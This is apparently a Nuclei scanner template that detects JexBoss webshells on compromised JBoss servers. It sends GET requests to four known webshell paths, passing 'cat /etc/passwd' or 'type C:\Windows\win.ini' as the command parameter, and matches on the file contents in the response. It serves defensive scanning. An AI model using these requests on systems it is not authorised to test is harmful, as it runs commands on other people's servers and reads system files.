id: jexboss-backdoor

info:
  name: JexBoss - Remote Code Execution
  author: UnkL4b
  severity: critical
  description: JexBoss is susceptible to remote code execution via the webshell. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://us-cert.cisa.gov/ncas/analysis-reports/AR18-312A
    - https://github.com/joaomatosf/jexboss
  metadata:
    verified: true
    max-request: 8
  tags: backdoor,jboss,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/jexws/jexws.jsp?ppp={{url_encode('{{command}}')}}"
      - "{{BaseURL}}/jexws4/jexws4.jsp?ppp={{url_encode('{{command}}')}}"
      - "{{BaseURL}}/jexinv4/jexinv4.jsp?ppp={{url_encode('{{command}}')}}"
      - "{{BaseURL}}/jbossass/jbossass.jsp?ppp={{url_encode('{{command}}')}}"

    payloads:
      command:
        - "cat /etc/passwd"
        - "type C:\\/Windows\\/win.ini"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: header
        words:
          - "X-Powered-By: Servlet"

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